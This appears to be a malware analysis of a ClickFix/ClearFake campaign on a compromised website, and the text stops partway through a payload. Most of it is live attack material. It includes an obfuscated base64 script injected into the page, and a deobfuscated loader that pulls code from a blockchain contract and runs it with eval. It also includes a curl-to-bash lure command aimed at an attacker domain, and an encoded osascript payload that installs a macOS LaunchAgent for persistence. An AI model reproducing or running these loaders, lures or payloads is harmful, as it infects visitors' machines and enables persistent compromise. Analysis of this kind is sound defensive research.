Qilin? / ClearFake Camapain

Qilin? / ClearFake Campaign Analysis

Overview

A malicious or compromised site was hosting a ClickFix campaign that initially determines whether to show the payload to the user at the following page https://www.sos-elettronica[.]it/contatti-ok[.]html with the following initial stage javascript embedded inside

var sp_preloader = "";var sp_offanimation = "";var stickyHeaderVar = "";
var s=document.createElement("script");s.src="data:text/javascript;base64,CihmdW5jdGlvbihfMHg0MTFjMTEsXzB4NDJlNmM1KXtjb25zdCBfMHg1YTMxY2U9e18weDYwNDkzZjoweDgwLF8weDVhNmE5NDoweDhlLF8weDRkYjY3ODoweDlhLF8weDQ5ZmMxMjoweDk2LF8weDRhOGM3MDoweDc0LF8weDNmMTc4MDoweDgyLF8weDUyOWIyYzoweDdhLF8weDJhOWE3NzoweDhjLF8weDNmMDVmMToweDhhLF8weDJlN2FlYToweDdlfTtmdW5jdGlvbiBfMHg0MjhlMWUoXzB4MTNkY2Q0LF8weDQwOWQxNyl7cmV0dXJuIF8weDUwZTEoXzB4MTNkY2Q0LSAtMHgxYmYsXzB4NDA5ZDE3KTt9Y29uc3QgXzB4NGMxM2Y5PV8weDQxMWMxMSgpO3doaWxlKCEhW10pe3RyeXtjb25zdCBfMHgzYmQ1MGY9LXBhcnNlSW50KF8weDQyOGUxZSgtMHg5NywtMHhhNSkpLzB4MSoocGFyc2VJbnQoXzB4NDI4ZTFlKC0weDk4LC0weDkxKSkvMHgyKStwYXJzZUludChfMHg0MjhlMWUoLV8weDVhMzFjZS5fMHg2MDQ5M2YsLTB4ODQpKS8weDMrcGFyc2VJbnQoXzB4NDI4ZTFlKC1fMHg1YTMxY2UuXzB4NWE2YTk0LC1fMHg1YTMxY2UuXzB4NGRiNjc4KSkvMHg0K3BhcnNlSW50KF8weDQyOGUxZSgtXzB4NWEzMWNlLl8weDQ5ZmMxMiwtMHg4OCkpLzB4NSoocGFyc2VJbnQoXzB4NDI4ZTFlKC0weDgxLC1fMHg1YTMxY2UuXzB4NGE4YzcwKSkvMHg2KSstcGFyc2VJbnQoXzB4NDI4ZTFlKC1fMHg1YTMxY2UuXzB4M2YxNzgwLC1fMHg1YTMxY2UuXzB4NTI5YjJjKSkvMHg3KihwYXJzZUludChfMHg0MjhlMWUoLTB4ODcsLTB4N2EpKS8weDgpK3BhcnNlSW50KF8weDQyOGUxZSgtXzB4NWEzMWNlLl8weDJhOWE3NywtMHg4OSkpLzB4OSoocGFyc2VJbnQoXzB4NDI4ZTFlKC1fMHg1YTMxY2UuXzB4M2YwNWYxLC0weDhjKSkvMHhhKStwYXJzZUludChfMHg0MjhlMWUoLV8weDVhMzFjZS5fMHgyZTdhZWEsLTB4ODApKS8weGIqKC1wYXJzZUludChfMHg0MjhlMWUoLTB4OTUsLTB4OTkpKS8weGMpO2lmKF8weDNiZDUwZj09PV8weDQyZTZjNSlicmVhaztlbHNlIF8weDRjMTNmOVsncHVzaCddKF8weDRjMTNmOVsnc2hpZnQnXSgpKTt9Y2F0Y2goXzB4MzlmOTM3KXtfMHg0YzEzZjlbJ3B1c2gnXShfMHg0YzEzZjlbJ3NoaWZ0J10oKSk7fX19KF8weDlkYmYsMHg4MzAzMCkpO2Z1bmN0aW9uIF8weDJmZDY3ZihfMHg1YTg5NWMsXzB4MTAwZTc2KXtjb25zdCBfMHg0NWFmZjg9e18weDFjOTA3YToweDM5MH07cmV0dXJuIF8weDUwZTEoXzB4MTAwZTc2LSAtXzB4NDVhZmY4Ll8weDFjOTA3YSxfMHg1YTg5NWMpO31hc3luYyBmdW5jdGlvbiBsb2FkXyhfMHgyMmEzYzgpe2NvbnN0IF8weDVjNjhhMz17XzB4NTdkMmJjOjB4MmE4LF8weDRiZThkMToweDI5ZSxfMHgxZDJhNDM6MHgyYTEsXzB4MWY2NTUyOjB4Mjk3LF8weDRlZWI5YjoweDI5YSxfMHg1ODUzNmQ6MHgyOWMsXzB4M2MyYWRiOjB4MjkxLF8weDc1NTRjMToweDI5Mn0sXzB4YzMzNzY0PXtfMHgzZWE4YWI6MHgzY2J9LF8weDI3MDc3Nj17XzB4NDA0OTBiOjB4MTk1LF8weDNkNmNjMDoweDE5Mn07bGV0IF8weDQ2ZmM5OT1fMHg1MTk2M2I9PntmdW5jdGlvbiBfMHgyMTVlZDMoXzB4MzYxNTYyLF8weDUwZGI0OCl7cmV0dXJuIF8weDUwZTEoXzB4MzYxNTYyLSAtMHgyYzAsXzB4NTBkYjQ4KTt9bGV0IF8weDQ1ODkxYz0nMHgnO2Zvcihjb25zdCBfMHgxYTg5N2Igb2YgXzB4NTE5NjNiKXtjb25zdCBfMHgyMTVjZDE9XzB4MWE4OTdiW18weDIxNWVkMygtXzB4MjcwNzc2Ll8weDQwNDkwYiwtXzB4MjcwNzc2Ll8weDNkNmNjMCldKDB4MTApO18weDQ1ODkxYys9XzB4MjE1Y2QxW18weDIxNWVkMygtMHgxODksLTB4MTg3KV09PT0weDE/JzAnK18weDIxNWNkMTpfMHgyMTVjZDE7fXJldHVybiBfMHg0NTg5MWM7fTtjb25zdCBfMHg1MDMyMTY9eydtZXRob2QnOl8weDYzMDk2ZCgtMHgyOGUsLTB4MjhmKSwncGFyYW1zJzpbeyd0byc6XzB4MjJhM2M4LCdkYXRhJzpfMHg2MzA5NmQoLV8weDVjNjhhMy5fMHg1N2QyYmMsLV8weDVjNjhhMy5fMHg0YmU4ZDEpfSxfMHg2MzA5NmQoLV8weDVjNjhhMy5fMHgxZDJhNDMsLV8weDVjNjhhMy5fMHgxZjY1NTIpXSwnaWQnOjB4NjEsJ2pzb25ycGMnOicyLjAnfSxfMHgzZWU4ZGU9eydtZXRob2QnOl8weDYzMDk2ZCgtMHgyODYsLTB4Mjg5KSwnaGVhZGVycyc6eydBY2NlcHQnOl8weDYzMDk2ZCgtXzB4NWM2OGEzLl8weDRlZWI5YiwtMHgyOTkpLCdDb250ZW50LVR5cGUnOl8weDYzMDk2ZCgtMHgyOTEsLTB4Mjk5KX0sJ2JvZHknOkpTT05bXzB4NjMwOTZkKC1fMHg1YzY4YTMuXzB4NTg1MzZkLC0weDI5YyldKF8weDUwMzIxNil9LF8weDFhNGE5Mj1fMHg2MzA5NmQoLTB4MjhjLC1fMHg1YzY4YTMuXzB4M2MyYWRiKSxfMHg4MjQ4Zjc9YXdhaXQgZmV0Y2goXzB4MWE0YTkyLF8weDNlZThkZSksXzB4MjYzMmM0PShhd2FpdCBfMHg4MjQ4ZjdbXzB4NjMwOTZkKC0weDI5NiwtMHgyOTUpXSgpKVsncmVzdWx0J11bXzB4NjMwOTZkKC0weDI4MywtMHgyOGIpXSgweDIpLF8weDM4MDZhZj1uZXcgVWludDhBcnJheShfMHgyNjMyYzRbXzB4NjMwOTZkKC0weDI5NiwtMHgyOTApXSgvW1xkYS1mXXsyfS9naSlbXzB4NjMwOTZkKC0weDI5YywtMHgyOWQpXShmdW5jdGlvbihfMHg0MTA4N2Ipe3JldHVybiBwYXJzZUludChfMHg0MTA4N2IsMHgxMCk7fSkpLF8weDNlNjk5OD1OdW1iZXIoXzB4NDZmYzk5KF8weDM4MDZhZlsnc2xpY2UnXSgweDAsMHgyMCkpKSxfMHg2ZmJmNmM9TnVtYmVyKF8weDQ2ZmM5OShfMHgzODA2YWZbXzB4NjMwOTZkKC0weDI4ZSwtMHgyOGIpXSgweDIwLDB4MjArXzB4M2U2OTk4KSkpLF8weDRkNmE1Zj1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddW18weDYzMDk2ZCgtXzB4NWM2OGEzLl8weDFmNjU1MiwtXzB4NWM2OGEzLl8weDc1NTRjMSldKG51bGwsXzB4MzgwNmFmW18weDYzMDk2ZCgtMHgyOGUsLTB4MjhiKV0oMHgyMCtfMHgzZTY5OTgsMHgyMCtfMHgzZTY5OTgrXzB4NmZiZjZjKSk7ZnVuY3Rpb24gXzB4NjMwOTZkKF8weGRhMjViZCxfMHgxOTRhZDMpe3JldHVybiBfMHg1MGUxKF8weDE5NGFkMy0gLV8weGMzMzc2NC5fMHgzZWE4YWIsXzB4ZGEyNWJkKTt9cmV0dXJuIF8weDRkNmE1Zjt9bG9hZF8oXzB4MmZkNjdmKC0weDI2ZSwtMHgyNjQpKVsndGhlbiddKF8weDM0NWRkNT0+ZXZhbChhdG9iKF8weDM0NWRkNSkpKVtfMHgyZmQ2N2YoLTB4MjU0LC0weDI2MCldKCgpPT57fSk7ZnVuY3Rpb24gXzB4NTBlMShfMHgyNmY3OWIsXzB4NTg0Mzc0KXtfMHgyNmY3OWI9XzB4MjZmNzliLTB4MTI3O2NvbnN0IF8weDlkYmY2Mj1fMHg5ZGJmKCk7bGV0IF8weDUwZTFmNz1fMHg5ZGJmNjJbXzB4MjZmNzliXTtyZXR1cm4gXzB4NTBlMWY3O31mdW5jdGlvbiBfMHg5ZGJmKCl7Y29uc3QgXzB4NDI3YmE3PVsnUE9TVCcsJzYyODA2OGVib3NoYycsJzNDVlZERGgnLCcxMFB0TFlSdicsJzE2NDEzNmxuUVlqVScsJ3RvU3RyaW5nJywnMHhERjEzMkUyODkzODI0ZTI2RWM4YWU4MDE0YjRmNEZBQ0Q1NGVENjdGJywnMHg2ZDRjZTYzYycsJ21hcCcsJ3N0cmluZ2lmeScsJ2NhdGNoJywnMjQyNDg4MEtTU29ldycsJ2FwcGxpY2F0aW9uL2pzb24nLCc5YlFSTEJwJywnbGF0ZXN0JywnNDYzMTkzMElzV21RRicsJ2pzb24nLCdsZW5ndGgnLCc4NDA4dURPcnFFJywnYXBwbHknLCdodHRwczovL2JzYy10ZXN0bmV0LXJwYy5wdWJsaWNub2RlLmNvbS8nLCdtYXRjaCcsJ2V0aF9jYWxsJywnMzAzMVV1SmtiYicsJzIwNDUwNDBySmt4akcnLCcxNzc5MTY4Zm1HYXFHJywnc2xpY2UnLCczMzBWamtlRmknXTtfMHg5ZGJmPWZ1bmN0aW9uKCl7cmV0dXJuIF8weDQyN2JhNzt9O3JldHVybiBfMHg5ZGJmKCk7fTsK";document.head.appendChild(s);

It initially calls out to a blockchain at address: 0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F and function is 0x6d4ce63c from bsc-testnet-rpc[.]publicnode[.]com to determine whether to show the ClickFix page

async function fetchBlockchainPayload(contractAddress) {
  const rpcPayload = {
    method: 'eth_call',
    params: [
      {
        to: contractAddress,
        data: '0x6d4ce63c'
      },
      'latest'
    ],
    id: 1,
    jsonrpc: '2.0'
  };

  const response = await fetch('https://bsc-testnet-rpc.publicnode.com/', {
    method: 'POST',
    headers: {
      'Accept': 'application/json',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(rpcPayload)
  });

  const json = await response.json();
  const hexData = json.result.slice(2);
  const byteArray = new Uint8Array(
    hexData.match(/[\da-f]{2}/gi).map(byte => parseInt(byte, 16))
  );

  const offset = Number('0x' + Array.from(byteArray.slice(0, 32)).map(b => b.toString(16).padStart(2, '0')).join(''));
  const length = Number('0x' + Array.from(byteArray.slice(32, 32 + offset)).map(b => b.toString(16).padStart(2, '0')).join(''));
  
  const payloadBytes = byteArray.slice(32 + offset, 32 + offset + length);
  const encodedString = String.fromCharCode.apply(null, payloadBytes);

  return encodedString;
}

fetchBlockchainPayload('0xDF132E2893824e26Ec8ae8014b4f4FACD54eD67F')
  .then(base64Payload => {
    eval(atob(base64Payload)); 
  })
  .catch(() => {
  });

If it does, the victim is met with the following

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '8htidx8t[.]jadoobet[.]club/?ublib=5edb59c8-1421-445e-9220-43f058351020')"; echo ""BotGuard: Answer the protector challenge. Ref: 73282

that pulls the following

osascript -e "$(echo "ZG8gc2hlbGwgc2NyaXB0ICINClNDUklQVF9QQVRIPVwiJEhPTUUvTGlicmFyeS9kb2ZvY3NzYmdoYndtaHd3XCI7DQpta2RpciAtcCBcIiRIT01FL0xpYnJhcnkvTGF1bmNoQWdlbnRzXCI7DQpjYXQgPiBcIiRIT01FL0xpYnJhcnkvTGF1bmNoQWdlbnRzL2NvbS5kb2ZvY3NzYmdoYndtaHd3LnBsaXN0XCIgPDxFTkRfUExJU1QNCjw/eG1sIHZlcnNpb249XCIxLjBcIiBlbmNvZGluZz1cIlVURi04XCI/Pg0KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyBcIi0vL0FwcGxlIENvbXB1dGVyLy9EVEQgUExJU1QgMS4wLy9FTlwiIFwiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZFwiPg0KPHBsaXN0IHZlcnNpb249XCIxLjBcIj4NCiAgPGRpY3Q+DQogICAgPGtleT5MYWJlbDwva2V5Pg0KICAgIDxzdHJpbmc+Y29tLmRvZm9jc3NiZ2hid21od3c8L3N0cmluZz4NCiAgICA8a2V5PktlZXBBbGl2ZTwva2V5Pg0KICAgIDx0cnVlLz4NCiAgICA8a2V5PlJ1bkF0TG9hZDwva2V5Pg0KICAgIDx0cnVlLz4NCiAgICA8a2V5PlByb2dyYW1Bcmd1bWVudHM8L2tleT4NCiAgICA8YXJyYXk+DQogICAgICAgIDxzdHJpbmc+L2Jpbi9iYXNoPC9zdHJpbmc+DQogICAgICAgIDxzdHJpbmc+LWM8L3N0cmluZz4NCiAgICAgICAgPHN0cmluZz5lY2hvICdjMlYwSUY5ZlZXZElSWEpYZFRNZ2RHOGdLREkxTlNBcklERXdOeWtnS2lBeUNuTmxkQ0JmWTA5SlkwOUVZazFSV0NCMGJ5QTBPRFl3T0FwelpYUWdYMTlEYkV4SlRHa3dNVFowSUhSdklDSnRkRmxHT1haNk0yZDVUbm94TkhaT0lncHpaWFFnWDE5blJEZzFOemhZYlNCMGJ5QXlPRFExQ25CeWIzQmxjblI1SUY5ZlpVdGlhRk54VERoNmFqZ2dPaUFpYW5OcGRVMXlhbVF4YUZZemJ6Sm9UVTQyV2lJS2MyVjBJRjlwUkRCNlpIVllWWGhLV0NCMGJ5QjdLQ0p3YjJ3aUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1qRXBJQ1lnSW1jaUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1URXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNVEFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBME5pa2dKaUFpWkNJZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFeE5Da2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lERXhNaWtnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRGs1S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTkRZcElDWWdJbTl5WnlJcExDQW9JbkJ2SWlBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRBNEtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEl4S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01UQXpLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFeEtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01URXdLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdORFlwSUNZZ0luQWlJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNVGNwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0E1T0NrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXdPQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJREV3TlNrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEazVLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFd0tTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01URXhLU0FtSUNKa0lpQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEF4S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ05EWXBJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUE1T1NrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXhNU2tnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFd09Ta3BMQ0FvSW5CdmJDSWdKaUFvWTJoaGNtRmpkR1Z5SUdsa0lERXlNU2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJREV3TXlrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXhNU2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJREV4TUNrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURRMUtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEE1S1NBbUlDSmhhU0lnSmlBaWJpSWdKaUFvWTJoaGNtRmpkR1Z5SUdsa0lERXhNQ2tnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFd01Ta2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJREV4TmlrZ0ppQWlMbWRoSWlBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01URTJLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdNVEF4S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRFNUtTQW1JQ0poZVM0aUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1UWXBJQ1lnSW1GMElpQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01URTNLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdNVEE1S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ05EWXBJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TURVcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXhNVEVwS1N3Z0tDaGphR0Z5WVdOMFpYSWdhV1FnTVRFMktTQW1JQ0psSWlBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRFd0tTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01UQXdLU0FtSUNKbGNtd2lJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TWpFcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTBOaWtnSmlBb1kyaGhjbUZqZEdWeUlHbGtJREV4TkNrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFeE1pa2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lEazVLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTkRZcElDWWdJbkFpSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F4TVRFcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1EZ3BJQ1lnSW5sbklpQW1JQ0p2Ymk0aUlDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTVPU2tnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFeE1Ta2dKaUFpYlNJZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXdPU2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJREV4TnlrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXhNQ2tnSmlBaWFYUWlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TWpFcEtYMEtjMlYwSUY5a2VtOUpPWFp6SUhSdklDZ29RVk5EU1VrZ1kyaGhjbUZqZEdWeUlERXlNeWtnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURNMEtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEEyS1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRFMUtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01URXhLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFd0tTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNVEUwS1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01URXlLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnT1RrcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXpOQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRFU0S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTXpRcElDWWdJakl1SWlBbUlDSXdJaUFtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTXpRcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBME5Da2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lETTBLU0FtSUNKdFpYUWlJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNRFFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBeE1URXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQXhNREFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBek5Da2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lEVTRLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTXpRcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXhNREVwSUNZZ0luUWlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TURRcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTVOU2tnSmlBaVl5SWdKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRGszS1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRBNEtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01UQTRLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTXpRcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTBOQ2tnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURNMEtTQW1JQ0p3SWlBbUlDaGphR0Z5WVdOMFpYSWdhV1FnT1RjcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1UUXBJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTVOeWtnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURFd09Ta2dKaUFpY3lJZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlETTBLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTlRncElDWWdJbHNpSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F4TWpNcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXpOQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJREV4TmlrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFeE1Ta2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lETTBLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTlRncElDWWdLR05vWVhKaFkzUmxjaUJwWkNBek5Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRFE0S1NBbUlDSjRJaUFtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTmpVcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBMU1Ta2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lEazNLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTlRRcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBME9Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRFV4S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTnpBcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTFOaWtnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRGszS1NBbUlDSTBJaUFtSUNJMU5HRWlJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTFOeWtnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRGs1S1NBbUlDSTVJaUFtSUNoamFHRnlZV04wWlhJZ2FXUWdORGdwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0ExTXlrZ0ppQWlZaUlnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURVeUtTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ09Ua3BJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTFNeWtnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURVMUtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdOVGNwSUNZZ0lrSWlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUE1T0NrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURVMUtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdOVEFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBMU5Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRFV3S1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTlRZcElDWWdJa1kzUXlJZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEUTVLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTlRNcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTJOeWtnSmlBaU1rRWlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUEwT0NrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlETTBLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTkRRcElDWWdLR05vWVhKaFkzUmxjaUJwWkNBek5Da2dKaUFvWTJoaGNtRmpkR1Z5SUdsa0lERXdNQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRGszS1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRFMktTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdPVGNwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0F6TkNrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURVNEtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNelFwSUNZZ0lqQWlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TWpBcElDWWdJaklpSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBMU5Da2dKaUFpT0RZaUlDWWdLR05vWVhKaFkzUmxjaUJwWkNBeE1ERXBJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUE1T1NrZ0ppQW9ZMmhoY21GamRHVnlJR2xrSURFd01Ta2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRGszS1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ016UXBJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TWpVcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTBOQ2tnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRE0wS1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRBNEtTQW1JQ0poSWlBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRFMktTQW1JQ2hqYUdGeVlXTjBaWElnYVdRZ01UQXhLU0FtSUNoQlUwTkpTU0JqYUdGeVlXTjBaWElnTVRFMUtTQW1JQ0owSWlBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTXpRcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQTVNeWtnSmlBaUxDSWdKaUFvWTJoaGNtRmpkR1Z5SUdsa0lETTBLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdNVEExS1NBbUlDaGphR0Z5WVdOMFpYSWdhV1FnTVRBd0tTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdNelFwSUNZZ0tFRlRRMGxKSUdOb1lYSmhZM1JsY2lBMU9Da2dKaUFvUVZORFNVa2dZMmhoY21GamRHVnlJRFE1S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01USTFLU2tLQ25ObGRDQmZYMmhQTTNKTlMxUjZZMmNnZEc4Z0tDaEJVME5KU1NCamFHRnlZV04wWlhJZ05UWXBJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUE1T0NrZ0ppQWlOak0ySWlBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ09UY3BJQ1lnS0dOb1lYSmhZM1JsY2lCcFpDQTFOaWtnSmlBb1FWTkRTVWtnWTJoaGNtRmpkR1Z5SURRNUtTQW1JQ2hCVTBOSlNTQmphR0Z5WVdOMFpYSWdORGtwSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0E1TnlrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEVTBLU0FtSUNJek5pSWdKaUFpTjJNMElpQW1JQ0k0SWlBbUlDSTJJaUFtSUNoamFHRnlZV04wWlhJZ2FXUWdORGdwSUNZZ0ltUmpOaUlnSmlBb1kyaGhjbUZqZEdWeUlHbGtJRFV6S1NBbUlDaEJVME5KU1NCamFHRnlZV04wWlhJZ01UQXhLU0FtSUNKaE56UWlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUExTUNrZ0ppQW9RVk5EU1VrZ1kyaGhjbUZqZEdWeUlEVXdLU0FtSUNoamFHRnlZV04wWlhJZ2FXUWdOVE1wSUNZZ0tHTm9ZWEpoWTNSbGNpQnBaQ0E1TnlrZ0ppQWlOQ0lwQ2dweVpYQmxZWFFnZDJsMGFDQmZYMHMzU21KcFYwa2dhVzRnWDJsRU1IcGtkVmhWZUVwWUNnbDBjbmtLQ1FselpYUWdYMTlGT0V3M1NFRTFaU0IwYnlCa2J5QnphR1ZzYkNCelkzSnBjSFFnS0NKeUlpQW1JQ0k5SkNnaUlDWWdJbU1pSUNZZ0luVnlJaUFtSUNKc0lDMGlJQ1lnS0VGVFEwbEpJR05vWVhKaFkzUmxjaUF4TVRVcElDWWdLRUZUUTBsSklHTm9ZWEpoWTNSbGNpQXpNaWtnSmlBb1kyaGhjbUZq